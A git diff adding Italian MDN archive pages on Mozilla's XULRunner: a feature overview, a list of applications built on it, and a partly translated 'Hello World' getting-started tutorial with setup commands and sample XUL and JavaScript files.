+ <li><a href="/en-US/docs/XUL/Tutorial/XBL_Attribute_Inheritance" title="/en-US/docs/XUL/Tutorial/XBL_Attribute_Inheritance">XBL ereditarietà degli attributi</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Adding_Properties_to_XBL-defined_Elements" title="/en-US/docs/XUL/Tutorial/Adding_Properties_to_XBL-defined_Elements">Aggiunta di proprietà</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Adding_Methods_to_XBL-defined_Elements" title="/en-US/docs/XUL/Tutorial/Adding_Methods_to_XBL-defined_Elements">Aggiunta di metodi</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Adding_Event_Handlers_to_XBL-defined_Elements" title="/en-US/docs/XUL/Tutorial/Adding_Event_Handlers_to_XBL-defined_Elements">Aggiunta di gestori di eventi</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/XBL_Inheritance" title="/en-US/docs/XUL/Tutorial/XBL_Inheritance">XBL ereditarietà</a></li>
+ <li><a href="/en-US/docs/Mozilla/Tech/XUL/Tutorial/Using_XBL_from_stylesheets">Creazione di contenuti riusabili usando CSS e XBL</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/XBL_Example" title="/en-US/docs/XUL/Tutorial/XBL_Example">XBL Esempi</a></li>
+</ul>
+
+<h2 id="Specialized_Window_Types" name="Specialized_Window_Types">Tipi di finestre specializzate</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XUL/Tutorial/Features_of_a_Window" title="/en-US/docs/XUL/Tutorial/Features_of_a_Window">Funzionalità di una finestra</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Creating_Dialogs" title="/en-US/docs/XUL/Tutorial/Creating_Dialogs">Creazione di dialoghi</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Open_and_Save_Dialogs" title="/en-US/docs/XUL/Tutorial/Open_and_Save_Dialogs">Dialoghi di apertura e salvataggio</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Creating_a_Wizard" title="/en-US/docs/XUL/Tutorial/Creating_a_Wizard">Creazione di Guida</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/More_Wizards" title="/en-US/docs/XUL/Tutorial/More_Wizards">Più guide</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Overlays" title="/en-US/docs/XUL/Tutorial/Overlays">Livelli</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Cross_Package_Overlays" title="/en-US/docs/XUL/Tutorial/Cross_Package_Overlays">Livelli tra package</a></li>
+</ul>
+
+<h2 id="Installation" name="Installation">Installazione</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XUL/Tutorial/Creating_an_Installer" title="/en-US/docs/XUL/Tutorial/Creating_an_Installer">Creazione di un installer</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Install_Scripts" title="/en-US/docs/XUL/Tutorial/Install_Scripts">Aggiunta di scripts</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Additional_Install_Features" title="/en-US/docs/XUL/Tutorial/Additional_Install_Features">Ulteriori funzionalità di Installazione</a></li>
+</ul>
+
+<div class="note">
+<p>Questa guida XUL è stata originariamente creata da <a class="external" href="http://www.xulplanet.com/ndeakin/">Neil Deakin</a>. Lui ha cortesemente dato a noi il permesso di usarla come parte di <a href="/en-US/docs/Project:About" title="Project:About">MDN</a>.</p>
+</div>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Informazioni sul documento originale</h2>
+
+<ul>
+ <li>Autore: <a class="external" href="http://www.xulplanet.com/ndeakin/">Neil Deakin</a></li>
+ <li>Informazione di Copyright: © 1999-2005 XULPlanet.com</li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/it/archive/mozilla/xulrunner/a_cosa_serve_xulrunner/index.html b/files/it/archive/mozilla/xulrunner/a_cosa_serve_xulrunner/index.html
new file mode 100644
index 0000000000..6ad5d00746
--- /dev/null
+++ b/files/it/archive/mozilla/xulrunner/a_cosa_serve_xulrunner/index.html
@@ -0,0 +1,63 @@
+---
+title: A cosa serve XULRunner
+slug: Archive/Mozilla/XULRunner/A_cosa_serve_XULRunner
+translation_of: Archive/Mozilla/XULRunner/What_XULRunner_Provides
+---
+<p> </p>
+<p>L'obbiettivo di <a href="/it/XULRunner" title="it/XULRunner">XULRunner</a> è fornire una soluzione per il rilascio di applicazioni <a href="/it/XUL" title="it/XUL">XUL</a> (in particolare Firefox e Thunderbird) e fornire un meccanismo per incorporare parti di programma. Le seguenti funzionalità sono già state implementate o sono pianificate:</p>
+<p> </p>
+<h3 id="Funzionalit.C3.A0_di_Gecko" name="Funzionalit.C3.A0_di_Gecko">Funzionalità di Gecko</h3>
+<ul>
+ <li><a href="/it/XPCOM" title="it/XPCOM">XPCOM</a></li>
+ <li>Funzionalità di rete</li>
+ <li>Il motore di rendering <a href="/it/Gecko" title="it/Gecko">Gecko</a></li>
+ <li>Supporto alle modifiche e alle transazioni <a href="/it/DOM" title="it/DOM">DOM</a> (senza interfaccia utente)</li>
+ <li>Crittografia</li>
+ <li><a href="/it/XBL" title="it/XBL">XBL</a> (XBL2 in futuro)</li>
+ <li><a href="/it/XUL" title="it/XUL">XUL</a></li>
+ <li><a href="/it/SVG" title="it/SVG">SVG</a></li>
+ <li><a href="/it/XSLT" title="it/XSLT">XSLT</a></li>
+ <li><a href="/it/XML_Extras" title="it/XML_Extras">XML Extras</a> (<code><a href="/it/XMLHttpRequest" title="it/XMLHttpRequest">XMLHttpRequest</a></code>, <code><a href="/it/DOMParser" title="it/DOMParser">DOMParser</a></code>, etc.)</li>
+ <li>Web Services (SOAP)</li>
+ <li>Supporto all'aggiornamento automatico <em>(ancora incompleto)</em></li>
+ <li>Barra di ricerca nel documento</li>
+ <li>Cronologia</li>
+ <li>Supporto per l'accessibilità</li>
+ <li>Servizi IPC per la comunicazione tra applicazioni basate su Gecko <em>(ancora incompleto)</em></li>
+ <li>Interfacce storage/sqlite <em>(per ora, non è attivo per default)</em></li>
+</ul>
+<h3 id="Funzionalit.C3.A0_dell.27interfaccia_utente" name="Funzionalit.C3.A0_dell.27interfaccia_utente">Funzionalità dell'interfaccia utente</h3>
+<p>I seguenti elementi dell'interfaccia utente sono forniti da XULRunner, ma possono essere sovrascritti dai programmi quando necessario:</p>
+<ul>
+ <li>Le API e l'interfaccia utente per installare, disinstallare e aggiornare le applicazioni XUL. Si veda {{ interwiki('wikimo', 'XUL:Installation_Story', 'wikimo:XUL:Installation Story') }} (EN).</li>
+ <li>Extension Manager</li>
+ <li>File picker (utilizza il filepicker nativo del sistema)</li>
+ <li>Barra di ricerca</li>
+ <li>Finestre di dialogo e interfaccia utente dell'Help</li>
+ <li>Interfaccia utente per la sicurezza (SSL, etc)</li>
+</ul>
+<h3 id="Incorporare_le_API" name="Incorporare_le_API">Incorporare le API</h3>
+<p>Le API seguenti sono contenute in XULRunner:</p>
+<ul>
+ <li>Cross-platform embedding (XRE_InitEmbedding)</li>
+ <li><a href="/it/JavaXPCOM" title="it/JavaXPCOM">JavaXPCOM</a></li>
+ <li><a href="/it/PyXPCOM" title="it/PyXPCOM">PyXPCOM</a> <em>(incompleto)</em></li>
+ <li>gtkmozembed (solo su Linux) <em>(incompleto)</em></li>
+ <li>Widget NSView (solo su MacOS X) <em>(incompleto)</em></li>
+ <li>Controlli ActiveX (solo su Windows) <em>(incompleto)</em></li>
+</ul>
+<h3 id="La_lista_dei_.22forse.22" name="La_lista_dei_.22forse.22">La lista dei "forse"</h3>
+<p>Le seguenti funzionalità sono state discusse e potrebbero essere incluse in XULRunner per il tempo lo permette e le dimensioni del codice saranno accettabili:</p>
+<ul>
+ <li>LDAP</li>
+ <li>Controllo ortografico (con o senza i dizionari), si veda il <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=285977">bug 285977</a></li>
+ <li>Supporto di base per la migrazione dei profili (estendibile dalle specifiche applicazioni)</li>
+</ul>
+<h3 id="Cosa_rimane_fuori" name="Cosa_rimane_fuori">Cosa rimane fuori</h3>
+<p>XULRunner non fornisce:</p>
+<ul>
+ <li>Interfaccia utente per i bookmark e la cronologia (deve essere creata con l'applicazione)</li>
+ <li><a href="/it/XForms" title="it/XForms">XForms</a> (sarà disponibile con un'estensione)</li>
+</ul>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p>{{ languages( { "en": "en/XULRunner/What_XULRunner_Provides", "ja": "ja/XULRunner/What_XULRunner_Provides" } ) }}</p>
diff --git a/files/it/archive/mozilla/xulrunner/applicazioni_basate_su_xulrunner/index.html b/files/it/archive/mozilla/xulrunner/applicazioni_basate_su_xulrunner/index.html
new file mode 100644
index 0000000000..fddf5aef0f
--- /dev/null
+++ b/files/it/archive/mozilla/xulrunner/applicazioni_basate_su_xulrunner/index.html
@@ -0,0 +1,45 @@
+---
+title: Applicazioni basate su XULRunner
+slug: Archive/Mozilla/XULRunner/Applicazioni_basate_su_XULRunner
+tags:
+  - XULRunner
+translation_of: Archive/Mozilla/XULRunner/Hall_of_Fame
+---
+<p>
+</p><p>In questa pagina tentiamo di tenere traccia di tutte le applicazioni esistenti basate su <a href="it/XULRunner">XULRunner</a>.
+</p>
+<ul><li> <a href="http://chatzilla.rdmsoft.com/xulrunner/" class="external">ChatZilla</a>
+<ul><li> Una versione standalone del client IRC ChatZilla.
+</li></ul>
+</li><li> <a href="http://daim.project.free.fr/" class="external">DAIM</a>
+<ul><li> Uno strumento per costruire analisi di immagini, creato partendo da una libreria professionale
+</li></ul>
+</li><li> <a href="http://www.getdemocracy.com/" class="external">Democracy Player</a>
+<ul><li> Browser e player per TV
+</li></ul>
+</li><li> <a href="http://exch.mozdev.org/" class="external">Exch</a>
+<ul><li> Uno strumento finanziario che utilizza dati aggiornati reperibili su <a href="http://finance.yahoo.com/currency" class=" external" rel="freelink">http://finance.yahoo.com/currency</a>. Esiste come estensione di Firefox e come programma XUL standalone.
+</li></ul>
+</li><li> <a href="http://www.jakinbidea.com/?page_id=39" class="external">GencatRss</a>
+<ul><li> Un gestore di RSS.
+</li></ul>
+</li><li> <a href="http://services.google.com/adwordseditor/index.html" class="external">Google AdWords Editor</a>
+<ul><li> Un'applicazione per gestire il proprio account su Google.
+</li></ul>
+</li><li> <a href="http://www.epigoon.com/wiki/index.php/Mozchat" class="external">Mozchat</a>
+<ul><li> Un client Jabber.
+</li></ul>
+</li><li> <a href="http://www.songbirdnest.com/" class="external">Songbird</a>
+<ul><li> Un player musicale.
+</li></ul>
+</li><li> <a href="http://www.treebuilder.de/default.asp?file=257091.xml" class="external">SVGclock</a>
+<ul><li> Un orologio basato su SVG.
+</li></ul>
+</li><li> <a href="http://blogs.acceleration.net/ryan/articles/2018.aspx" class="external">TaskPool</a>
+<ul><li> Una piccola applicazione che aiuta a tenere traccia delle cose da fare nel tempo. E' possibile aggiungere dei compiti, attivarli, disattivarli e scandisce i secondi.
+</li></ul>
+</li><li> <a href="http://www.openwengo.org" class="external">WengoPhone</a>
+<ul><li> Un Messenger nonchè client IM/VoIP, basato su SIP/XMPP.
+</li></ul>
+</li></ul>
+{{ languages( { "en": "en/XULRunner_Hall_of_Fame", "fr": "fr/Floril\u00e8ge_des_applications_XULrunner" } ) }}
diff --git a/files/it/archive/mozilla/xulrunner/getting_started_with_xulrunner/index.html b/files/it/archive/mozilla/xulrunner/getting_started_with_xulrunner/index.html
new file mode 100644
index 0000000000..0a9c732401
--- /dev/null
+++ b/files/it/archive/mozilla/xulrunner/getting_started_with_xulrunner/index.html
@@ -0,0 +1,271 @@
+---
+title: Primi passi con XULRunner
+slug: Archive/Mozilla/XULRunner/Getting_started_with_XULRunner
+translation_of: Archive/Mozilla/XULRunner/Getting_started_with_XULRunner
+---
+<p>{{ Next("Windows and menus in XULRunner") }}</p>
+
+<p>Questo articolo è stato rivisto e riscritto da Luigi Sentina. La mission di questo è quella di mostrare con un semplice esempio come sia facile costruire applicazioni dektop e molto altro ancora con la tecnologia messa a disposizione da XULrunner. L'articolo originale un pò "datato" (dato che faceva riferimento ad una vecchia versione di XULRunner) è stato rivisto sulla base dell'esempio originale (dato che non realmente testato per qualsiasi informazione potete contattarmi a info@luigisentina.com) Nell'esempio verrà creata la classica applicazione "Ciao Mondo" utilizzando la versione "<strong style="line-height: 1.5;">runtime" (vedere sotto).</strong></p>
+
+<p><span style="line-height: 1.5;">L'alternativa è la versione SDK ma ci vogliono conoscenze del linguaccio C++ e affini! Per correttezza vi rimando il link originale se qualcuno dovesse essere interessato:  </span><a href="/en-US/docs/Creating_XULRunner_Apps_with_the_Mozilla_Build_System" style="line-height: 1.5;" title="/en-US/docs/Creating_XULRunner_Apps_with_the_Mozilla_Build_System">Creating XULRunner Apps with the Mozilla Build System</a><span style="line-height: 1.5;">.</span></p>
+
+<h2 id="Step_1:_Download_XULRunner" name="Step_1:_Download_XULRunner">Step 1: Download XULRunner</h2>
+
+<p>Puoi trovare il download di <a href="/en-US/docs/XULRunner" title="/en-US/docs/XULRunner">XULRunner</a> nella pagina principale di MDC. <span style="font-size: 14px; line-height: 1.5;">Dal momento che non stiamo creando componenti XPCOM binari, Dobbiamo scaricare il pacchetto di <strong>runtime</strong> XULRunner, non l'SDK.</span></p>
+
+<p>Il download di XULRunner per Windows prevede un file zip da scompattare in una determianta "posizione" all'interno della nostra applicazione. Quindi non c'e nessun programma da installare. Il vantaggio è propio questo, non avendo un installer rende possibile creare applicazioni "stand-alone"<span style="font-size: 14px; line-height: 1.5;"> ovvero quelle applicazioni che funzionano in maniera autonoma e svincolata da altri oggetti o software. Inoltre il fatto che non si "agganci" al sistema Windows non rischiamo di creare alcun conflitto da una possibile installazione o disintallazione di XULRunner.</span></p>
+
+<p>La versione MAC è distribuita nel formato compresso  tar.bz2. Come per Windows estraggo il contenuto direttamente nella mia applicazione anche se in molte guide vi diranno di installarlo nel percorso locale:  <code>/Library/Frameworks</code>.</p>
+
+<p>In Ubuntu desktop e le sue varianti (Xubuntu, Kubuntu, ...), dalla versione 11.10 (Oneiric Ocelot), XULRunner non è più mantenuto e non esiste nel repository di Ubuntu. Pertanto, è necessario compilare XULRunner manualmente o scaricare una versione binaria dal server FTP di Mozilla. Un modo per raggiungere questo obiettivo è quello di eseguire il seguente script ogni volta che si desidera installare una nuova versione:</p>
+
+<div class="note"><code>FIREFOX_VERSION=`grep -Po  "\d{2}\.\d+" /usr/lib/firefox/platform.ini`<br>
+ARCH=`uname -p`<br>
+XURL=https://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/$FIREFOX_VERSION/runtimes/xulrunner-$FIREFOX_VERSION.en-US.linux-$ARCH.tar.bz2<br>
+cd /opt<br>
+sudo sh -c "wget -O- $XURL | tar -xj"<br>
+sudo ln -s /opt/xulrunner/xulrunner /usr/bin/xulrunner<br>
+sudo ln -s /opt/xulrunner/xpcshell /usr/bin/xpcshell </code></div>
+
+<p>Per comodità si potrebbe anche salvare questo script in un file. Nota: Se si utilizza Firefox costruire dal repository Ubuntuzilla e sostituire / usr / lib / firefox / platform.ini con / opt / firefox / platform.ini.</p>
+
+<h2 id="Step_2:__Install_XULRunner" name="Step_2:__Install_XULRunner">Step 2: Installazione di  XULRunner</h2>
+
+<p>Su Windows, scompattare temporanemaente il file zip in una cartella qualsiasi. Come vedremo più avani per creare un applicazione esiste una gerarchia per le applicazioni basata su XULRunner. Quindi in seguito verrà spostata o copiata nella posizione finale.</p>
+
+<p>Su Mac, estrarre il contenuto del archivio tar.bz2 , e copiarne (temporaneamente) il contenuto nella directory: <code>/Library/Frameworks</code> directory, o se preferite anche in un altra posizione.</p>
+
+<p>Su Linux, è sufficiente scompattare l'archivio, se si utilizza XULRunner pre-release.</p>
+
+<div class="note">
+<p>In alternativa, se hai scaricato l'archivio compresso di XULRunner e vuoi installare sul vostro sistema potete farlo eseguendo</p>
+
+<p><code>xulrunner --register-global</code></p>
+
+<p>come amministratore per registrare XULRunner per tutti gli utenti della macchina.<br>
+ <br>
+ Per registrare XULRunner per una singolo utente</p>
+
+<p><code>xulrunner --register-user</code></p>
+</div>
+
+<div class="note">
+<p>In tutti i sistemi puoi decomprimere il file omni.ja in qualche directory cambiare l'estensione del file in ".zip" e quindi utilizzare lo strumento di decompressione del file system normale per aprirlo. I contenuti di omni.ja sono disponibili per le applicazioni XULRunner e utili risorse per costruire facilmente incredibili applicazioni!</p>
+</div>
+
+<h2 id="Step_3:_Create_the_application_folder_structure" name="Step_3:_Create_the_application_folder_structure">Step 3: Creare la struttura delle cartelle</h2>
+
+<p>Per capire la struttura di un' applicazione XULRunner procederemo con il classico esempio "Ciao mondo".</p>
+
+<p>Su Windows ho creato una nuova cartella nel percorso <code>c:\program files\miaapp </code><br>
+ La struttura "gerarchica" di un applicazione su tutti i sistemi operativi è la seguente:</p>
+
+<pre>+ miaapp/
+|
++-+ chrome/
+| |
+| +-+ content/
+| | |
+| | +-- main.xul
+| | |
+| | +-- main.js
+| |
+| +-- chrome.manifest
+|
++-+ defaults/
+| |
+| +-+ preferences/
+|   |
+|   +-- prefs.js
+|
++-- application.ini
+|
++-- chrome.manifest
+</pre>
+
+<p>Nell'esempio si noti che ci sono 5 file nella struttura di cartelle: Application.ini, chrome.manifest (2), prefs.js e main.xul. Il file / chrome / chrome.manifest è facoltativo, ma potrebbe essere utile per la retrocompatibilità. Vedere la nota che segue.</p>
+
+<div class="note">
+<p>Per maggiori dettagli sulla struttura di fasci installabili in generale, consultare:: <a href="/en-US/docs/Bundles" title="/en-US/docs/Bundles">Structure of an installable bundle</a>.</p>
+</div>
+
+<div class="note"><strong>Nota:</strong> Nelle prime release di XULRunner il file chrome.manifest risiedeva nella root principale come mostrato nella gerarchia sopra. Nelle versioni precedenti è stato spostato nella cartella chrome. Tuttavia per avere una retrocompatibilità lasceremo entrambe i file dove nel primo (root) avrà il link al secondo file dentro chrome e quindi al suo interno comparirà solamente il path: manifest chrome/chrome.manifest. Il contenuto del secondo è spiegato più sotto. </div>
+
+<h2 id="Step_4:_Set_up_application.ini" name="Step_4:_Set_up_application.ini">I file nell'applicazione di esempio<br>
+ <br>
+ Step 4: <code>Il file application.ini</code></h2>
+
+<p>Il file <code><a href="/en-US/docs/XUL_Application_Packaging" title="/en-US/docs/XUL_Application_Packaging">application.ini</a> è il punto di ingresso per la nostra applicazione. </code>In questo file è sono specificate alcuni parametri di configurazione per la piattaforma XULrunner usata. <span style="font-size: 14px; line-height: 1.5;">Sotto per il nostro esempio</span></p>
+
+<pre>[App]
+Vendor=XULTest
+Name=miaapp
+Version=1.0
+BuildID=20100901
+ID=xulapp@xultest.org
+
+[Gecko]
+MinVersion=16.0
+MaxVersion=22.0
+</pre>
+
+<div class="note"><strong>Nota:</strong> <code>MinVersion</code> e <code>MaxVersion</code> sono fondamentali per il funzionamento indicano il "range" della versione XULRunner della nostra applicazione. Al momento della stesura di questo testo l'ultima versione disponibile è la 22. (MaxVersion:22.0). </div>
+
+<div class="note"><strong>Nota</strong>: Il nome della nostra applicazione deve avere un minimo di 3 caratteri tutti minuscoli</div>
+
+<h2 id="Step_5:_Set_up_the_chrome_manifest" name="Step_5:_Set_up_the_chrome_manifest">Step 5: I  file chrome.manifest</h2>
+
+<p>Il file <a href="/en-US/docs/Chrome_Registration" title="/en-US/docs/Chrome_Registration">chrome manifest</a> è usato da XULRunner per specificare gli URI (percorsi) per le risorse utilizzate. Queste possono essere file  JAR o file non compressi o cartelle. Nel nostro esempio utilizziamo cartelle non compresse. Questo è il contenuto del nostro file nella directory <strong>c<code>hrome/chrome.manifest</code>:</strong> <span style="font-size: 14px; line-height: 1.5;">(da non confondere con quello nella root principale)</span></p>
+
+<pre class="eval"> content miaapp content/
+</pre>
+
+<p>Come gia spiegato nello Step 3, il file <code>chrome.manifest</code> <strong>nella root princiapale</strong> conterrà solamente il path che punta al "reale" <code>chrome.manifest.</code>Il contenuto pertanto (ripeto) sarà:</p>
+
+<pre>manifest chrome/chrome.manifest</pre>
+
+<h2 id="Step_6:_Set_up_preferences" name="Step_6:_Set_up_preferences">Step 6: Il file prefs.js</h2>
+
+<p>Il file <a href="/en-US/docs/Mozilla/Preferences/A_brief_guide_to_Mozilla_preferences" title="/en-US/docs/Mozilla/Preferences/A_brief_guide_to_Mozilla_preferences">prefs.js</a> può contenere molte proprietà a seconde del tipo di applicazione che state creando (per farvi un idea digitate sul browser Firefox about:config e premete il pulsante "farò attenzione"). Nel nostro esempio usiamo una configurazione minima, la più importante che non può mancare è la prima riga. Questa infatti setta la prima pagina (finestra) XUL che verrà aperta quando lanceremo la nostra applicazione (nell' esempio main.xul).<br>
+ Queso è il contenuto:</p>
+
+<pre class="eval">pref("toolkit.defaultChromeURI", "<span class="external">chrome://myapp/content/main.xul</span>");
+
+/* debugging prefs, disable these before you deploy your application! */
+pref("browser.dom.window.dump.enabled", true);
+pref("javascript.options.showInConsole", true);
+pref("javascript.options.strict", true);
+pref("nglayout.debug.disable_xul_cache", true);
+pref("nglayout.debug.disable_xul_fastload", true);
+</pre>
+
+<div class="note">
+<p>Le varie prefs sono descritte nel dettagli qui: <a href="/en-US/docs/XULRunner/Specifying_Startup_Chrome_Window" title="/en-US/docs/XULRunner/Specifying_Startup_Chrome_Window">XULRunner:Specifying Startup Chrome Window</a>.</p>
+
+<p>Per quelle di Debug qui: <a href="/en-US/docs/Debugging_a_XULRunner_Application" title="/en-US/docs/Debugging_a_XULRunner_Application">Debugging a XULRunner Application</a></p>
+</div>
+
+<h2 id="Step_7:_Create_some_XUL" name="Step_7:_Create_some_XUL">Step 7: Il file main.xul</h2>
+
+<p>Faccio un premessa, il nome "main.xul" non è obbligatorio la pagina può chiamarsi come meglio credete l'importante è che vi ricordiate di cambiare il nome anche nel file prefs.js allo step 6. Creeremo una semplice <a href="/en-US/docs/XUL/window" title="/en-US/docs/XUL/window">XUL window</a>, (finestra xul) con il minimo indispensabile per il nostro esmpio "Ciao Mondo". Ecco come si presenta il nostro file <span style="font-size: 14px; line-height: 1.5;">main.xul:</span></p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;window id="main" title="My App" width="300" height="300" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+  &lt;script type="application/javascript" src="chrome://myapp/content/main.js"/&gt;
+
+  &lt;caption label="Ciao Mondo"/&gt;
+  &lt;separator/&gt;
+  &lt;button label="More &gt;&gt;" oncommand="showMore();"/&gt;
+  &lt;separator/&gt;
+  &lt;description id="more-text" hidden="true"&gt;E' solamente un semplie esempio ma con l'esperienza potrete creare delel vere e proprie applicazioni professionali!&lt;/description&gt;
+
+&lt;/window&gt;
+</pre>
+
+<div class="note"><strong>Nota:</strong> Assicurarsi che no vi siano spazi bianchi all'inizio del filee XML/XUL</div>
+
+<p>come potete notare viene incluso nel file xul il relativo file .Js (è buona norma chiamarli nello stesso modo). Nel "button" viene richiamata attraverso il "command" (che equivale al classico "onclick") la funzione <strong>shoMore();  </strong>che ovviamente sarà all'interno del file javascript. Si possono includere molti file .Js a seconde delle esigenze!<br>
+  </p>
+
+<h2 id="Step_7:_Create_some_XUL" name="Step_7:_Create_some_XUL" style="line-height: 22.79199981689453px;">Il file main.js</h2>
+
+<p>ecco l'unica funzione all'interno del nostro file main.js:</p>
+
+<pre>function showMore() {
+  document.getElementById("more-text").hidden = false;
+}
+</pre>
+
+<div class="note">
+<p>Per maggiori informazioni su potete vedere qui:  <a href="/en-US/docs/XUL" title="/en-US/docs/XUL">XUL</a></p>
+
+<p>Per implementare html ai file XUL vedere qui <a href="/en-US/docs/XUL/Tutorial/Adding_HTML_Elements" title="/en-US/docs/XUL/Tutorial/Adding_HTML_Elements">Adding HTML Elements</a>.</p>
+</div>
+
+<h2 id="Step_8:_Run_the_application" name="Step_8:_Run_the_application">Step 8: Eseguire l' applicazione</h2>
+
+<p>Finalmente vediamo come eseguire la nostra applicazione.</p>
+
+<h3 id="Windows">Windows</h3>
+
+<p>Apriamo una finestra di prompt, e proviamo ad eseguire questo comando:</p>
+
+<pre class="eval">c:\miaapp\xulrunner\xulrunner.exe c:\miaapp\application.ini
+</pre>
+
+<p>Se avete creato l'applicazione sulla cartella programmi potete usare</p>
+
+<pre>​<span style="font-family: courier new,andale mono,monospace; line-height: normal;">%ProgramFiles%\</span><span style="line-height: normal;">miaapp\xulrunner\xulrunner.exe </span><span style="line-height: normal;">%ProgramFiles%</span><span style="line-height: normal;">\miaapp\application.ini</span>
+</pre>
+
+<p><span style="font-size: 14px; line-height: 1.572;">per la cartella "Program File (x86)" nei sistemi a 64 bit usare questo: </span></p>
+
+<pre>​<span style="font-family: courier new,andale mono,monospace; line-height: normal;">%ProgramFiles(x86)</span></pre>
+
+<div class="note">
+<p><span style="font-size: 14px; line-height: 1.572;"><strong>Nota</strong>: </span><span style="line-height: 22px;"> Puoi anche creare un vero e proprio file di installer per distribuire la tua creazione per maggiori dettagli vedere</span><span style="font-size: 14px; line-height: 1.572;"> <a href="/it-IT/docs/XUL_Application_Packaging" title="/en-US/docs/XUL_Application_Packaging">Creare un Installer per Applicazioni XUL</a>.</span></p>
+</div>
+
+<h3 id="Mac">Mac</h3>
+
+<p>On the Mac, before you can run a XULRunner application with everything intact, you must install it using the <code>--install-app</code> xulrunner commandline flag. Installing the application creates an OS X application bundle:</p>
+
+<pre class="eval"> /Library/Frameworks/XUL.framework/xulrunner-bin --install-app /&lt;path&gt;/&lt;to&gt;/myapp.zip
+</pre>
+
+<p>Once installed, you can run the application:</p>
+
+<pre class="eval"> /Library/Frameworks/XUL.framework/xulrunner-bin "/Applications/Finkle/TestApp.app/Contents/Resources/application.ini"
+</pre>
+
+<p>You may run it without installing (but with the menu bar and dock icon missing) in OS X by typing:</p>
+
+<pre>/Library/Frameworks/XUL.framework/xulrunner-bin "/&lt;full path&gt;/TestApp/application.ini"
+</pre>
+
+<div class="note">
+<p>Note: The full path is required or a "Error: couldn't parse application.ini."-message will be returned.</p>
+</div>
+
+<p>This might also be simplified using a very simple shell script (i call mine "run.sh"):</p>
+
+<pre>#!/bin/sh
+/Library/Frameworks/XUL.framework/xulrunner-bin `pwd`/application.ini
+</pre>
+
+<h3 id="Linux">Linux</h3>
+
+<p>On Ubuntu, you can run the application from a terminal. First change into the <code>\myapp</code> folder, then start the application by:</p>
+
+<pre class="eval"> xulrunner application.ini
+</pre>
+
+<p>You should now see a window that looks something like this. This particular screenshot is from Ubuntu 10.</p>
+
+<p><img alt="myapp-screenshot.png" class="default internal" src="/@api/deki/files/4679/=myapp-screenshot.png"></p>
+
+<h3 id="Alternative:_Use_Firefox3_-app_to_run_XUL_apps" name="Alternative:_Use_Firefox3_-app_to_run_XUL_apps">Alternative: Run XUL apps with Firefox</h3>
+
+<p>With Firefox 3 and later, you can tell the Firefox executable to run a XUL application from the command line. The XUL application will run instead of the Firefox browser that normally starts. This is similar to starting a XUL app using XULRunner. See <a href="/en/XULRunner_tips#Using_Firefox_to_run_XULRunner_applications" title="en/XULRunner_tips#Using_Firefox_to_run_XULRunner_applications">Using Firefox to run XULRunner applications</a>. This does not work if Firefox itself was installed as a XUL app - you need to use the installed XULRunner directly.</p>
+
+<h2 id="Further_Reading">Further Reading:</h2>
+
+<p>There are many things you can do with XULRunner. Before you get too far into things you might want to read the <a href="/en-US/docs/XULRunner_tips" title="/en-US/docs/XULRunner_tips">XULRunner tips</a> article. Also, throughout this tutorial you've been introduced to various bits of the <a href="/en-US/docs/Toolkit_API" title="/en-US/docs/Toolkit_API">Toolkit API</a> and it may help you to get familiar with it. Once you've got an application that's ready for the world you'll love our article titled <a href="/en-US/docs/XULRunner/Deploying_XULRunner_1.8" title="/en-US/docs/XULRunner/Deploying_XULRunner_1.8">Deploying XULRunner</a>.</p>
+
+<p>For now, click the "next" link to learn about windows and menus in XULRunner!</p>
+
+<p>{{ Next("Windows and menus in XULRunner") }}</p>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author: Mark Finkle, October 2, 2006</li>
+</ul>
+</div>
+
+<p>{{ languages( { "ja": "ja/Getting_started_with_XULRunner", "ko": "ko/Getting_started_with_XULRunner" } ) }}</p>
diff --git a/files/it/archive/mozilla/xulrunner/index.html b/files/it/archive/mozilla/xulrunner/index.html
new file mode 100644
index 0000000000..ecb6ce492f
--- /dev/null
+++ b/files/it/archive/mozilla/xulrunner/index.html
@@ -0,0 +1,11 @@
+---
+title: XULRunner
+slug: Archive/Mozilla/XULRunner
+translation_of: Archive/Mozilla/XULRunner
+---
+<p> </p>
+<p><strong>XULRunner</strong> è un pacchetto di runtime Mozilla che può essere utilizzato per l'avvio di applicazioni <a href="/it/XUL" title="it/XUL">XUL</a> + <a href="/it/XPCOM" title="it/XPCOM">XPCOM</a>, anche ricche come Firefox e Thunderbird. Fornisce il meccanismo per installare, aggiornare e disinstallare tali applicazioni. XULRunner fornisce inoltre <a href="/it/Libxul" title="it/Libxul">libxul</a>, una soluzione che permette di incorporare le tecnologie Mozilla in altri programmi.</p>
